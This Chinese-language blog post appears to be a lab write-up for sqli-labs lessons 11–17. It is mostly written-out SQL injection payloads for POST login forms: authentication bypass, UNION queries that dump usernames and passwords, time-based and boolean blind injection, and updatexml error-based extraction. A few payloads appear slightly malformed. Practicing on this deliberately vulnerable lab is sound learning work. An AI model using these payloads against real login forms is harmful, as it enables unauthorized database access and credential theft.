title: sqli-labs靶场11-17
tags: sql-labs
abbrlink: 9fa8bfd5
date: 2022-08-09 15:19:15

参考crow: https://github.com/crow821/crowsec

Less-11

  1. POST内容: uname=' & passwd=1&submit=Submit 返回的结果显示你存在sql语法错误,证明存在注入漏洞。或这是直接在username中填写',password中随便写判断一下是否存在注入漏洞。
  2. 直接在username中填写 admin' or 1=1#(此处不能使用--+,因为--+主要使用在url中,#是适用的)即:
uname=a' or 1=1 #& passwd=a &submit=Submit

此时登录成功,可以验证存在注入漏洞。
3. 此时在password位置进行验证:

uname=a&passwd=a' or 1=1# &submit=Submit

登录成功,开始构造!

  1. 同样可以进行判断,最后得出一共有两列。
uname=a' order by 3#&passwd=a &submit=Submit

或者是使用

uname=a&passwd=a' order by 2# &submit=Submit
uname=a&passwd=a' union select database(),2  # &submit=Submit

查询到当前的数据库为security,或者是使用:

uname=a' union select database(),2  # &passwd=a&submit=Submit

均可以查询到当前的数据库,当然也可以查询其它信息。
6.

uname=a' union select 1,(select schema_name from information_schema.schemata limit 1,1)  # &passwd=a&submit=Submit 

可以查询到当前的第一个数据库,或者是使用命令:

uname=a' union select 1,(select group_concat(schema_name) from information_schema.schemata)  # &passwd=a&submit=Submit 

可以得到所有的数据库。
7.

uname=a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)  # &passwd=a&submit=Submit 

可以得到security数据库中的所有的表信息
8.

uname=a' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)  # &passwd=a&submit=Submit 

通过users表获得里面的列值:id,username,password
9.

uname=a' union select 1, group_concat(concat_ws('~',username,password)) from security.users  # &passwd=a&submit=Submit

此时就可以得到里面所有的数据。

Less-12

以下均为POST内容:

  1. 首先进行尝试:此时只是显示登陆失败,没有其他的回显,将'换为"
uname=admin' &passwd=a&submit=Submit  
  1. 此时有回显,显示有报错信息,通过报错信息,我们知道如何进行构造:')
uname=admin" &passwd=a&submit=Submit
  1. 此时构造成功之后,显示登陆成功。接下来的和less-11相同。
uname=admin") or 1=1# &passwd=a&submit=Submit
  1. 通过order by语句得到一共有两列。
uname=admin") order by 3# &passwd=a&submit=Submit 
  1. 查询到当前的数据库为security
uname=a&passwd=a") union select database(),2  # &submit=Submit

或者是使用:

uname=a") union select database(),2  # &passwd=a&submit=Submit

均可以查询到当前的数据库,当然也可以查询其它信息。
6. 可以查询到当前的第一个数据库,

uname=a") union select 1,(select schema_name from information_schema.schemata limit 1,1)  # &passwd=a&submit=Submit

或者是使用命令:

uname=a") union select 1,(select group_concat(schema_name) from information_schema.schemata)  # &passwd=a&submit=Submit

可以得到所有的数据库。
7. 可以得到security数据库中的所有的表信息

uname=a") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)  # &passwd=a&submit=Submit
  1. 通过users表获得里面的列值:id,username,password
uname=a") union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)  # &passwd=a&submit=Submit
  1. 此时就可以得到里面所有的数据。 0x7e代表的就是 ~
uname=a") union select 1, group_concat(concat_ws(0x7e,username,password)) from security.users  # &passwd=a&submit=Submit 

Less-13

以下均为POST内容:

  1. 此时只是显示登陆成功,但是不会显示其他的信息。
uname=admin &passwd=admin&submit=Submit  
  1. 直接通过报错信息知道了如何构造 构造:1') or 1=1#
uname=' &passwd=a&submit=Submit  
  1. 此时只是显示登陆成功,但是不会显示其他信息,考虑盲注。
uname=admin') order by 2# &passwd=admin&submit=Submit  
  1. 此时可以得到数据库的长度是8.
uname=admin') or if(length(database())=8,1,sleep(5))# &passwd=admin&submit=Submit 
  1. 使用or和left()来判断第一个字母是多少(注意的是这里不是使用and)
uname=admin&passwd=ain') or left(database(),1)>'a'#&submit=Submit 
  1. 通过这样一个个进行判断即可!
uname=admin&passwd=ain') or left(database(),2)='se'#&submit=Submit 
  1. 或者是使用这种方法也是可以判断的。
uname=admin&passwd=ain') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&submit=Submit 

查表,也可使用burpsuite进行辅助测试

uname=admin&passwd=ain') or left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)='e'#&submit=Submit  

Less-14

1. uname=admin&passwd=a"&submit=Submit   构造:" or 1=1#
2. uname=admin&passwd=a" order by 10#sub&mit=Submit 判断一共有多少列
3. uname=admin&passwd=a" or if(length(database())=8,1,sleep(5))# #&submit=Submit 使用和less-13同样的方法进行判断 
* 注意and和or的用法

Less-15

1. uname=admin&passwd=a"&submit=Submit    构造:1' or 1=1#   在这里判断列数没有实际意义了
2. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度
3. uname=adminadmin&passwd=admiand' or if(length()>1000,1,sleep(5))#&submit=Submit
4. uname=adminadmin&passwd=admiand' or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a
5. uname=adminadmin&passwd=admiand' or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'g'#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g
6. uname=adminadmin&passwd=admiand' or left((select username from security.users limit 0,1),1)> 'a'#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询

Less-16

1. uname = admin&passwd=a" & submit=Submit    构造:1")  or 1=1#   在这里判断列数没有实际意义了,和less-15相同
2. uname = adminadmin&passwd=admiand") or if(length(database())>1,1,sleep(5))#&submit=Submit通过这个来判断其长度
3. uname=adminadmin&passwd=admiand") or if(length()>1000,1,sleep(5))#&submit=Submit
4. uname=adminadmin&passwd=admiand") or left((select table_name from information_schema.tables where table_schema='security' limit 0,1),1)>'a'#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a
5. uname=adminadmin&passwd=admiand") or left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)>'g'#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g
6. uname=adminadmin&passwd=admiand") or left((select username from security.users limit 0,1),1)> 'a'#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询

报错注入

  • 报错注入常用的三种注入方式(flool ,extractvalue、updatexml)
  • floor()报错注入是利用count()、rand()、floor()、group by 这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by冲突报错。
  • 原理:updatexml()函数实际上是去更新了XML文档,但是我们在xml文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候它其实已经执行了那个子查询代码。
  • extractvalue(xml_document,xpath_string)
    第一个参数:XML_document是 String 格式,为XMIL文档对象的名称。
    第二个参数:XPath_string (Xpath格式的字符串)。
    作用: 从目标XML中返回包含所查询值的字符串。
    ps: 返回结果限制在32位字符。

报错原理:利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键冗余,导致报错。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: 'Dumb'

Less-17

首先我们要知道用户的名字是多少,然后才可以进行接下来的操作

  1. 通过查询,可以得到security库下面的其中一个表名字
uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#&submit=Submit  
  1. 同样的方法可以获得其他的数据
uname=admin&passwd=adm ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)#&submit=Submit 
uname=admin&passwd=afafa'#&submit=Submit
select updatexml(1,concat(0x7e,(database())),1);
select updatexml(1,concat(0x7e,(构造语句)),1);
      构造语句:
      查库: select schema_name from information_schema.schemata;
      查表: select table_name from information_schema.tables where table_schema='security';
      查列: select column_name from information_schema.columns where table_name='users';
      查字段: select username,password from security.users;
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),1)

select * from (select group_concat(concat_ws('~',username,password)) from security.users) a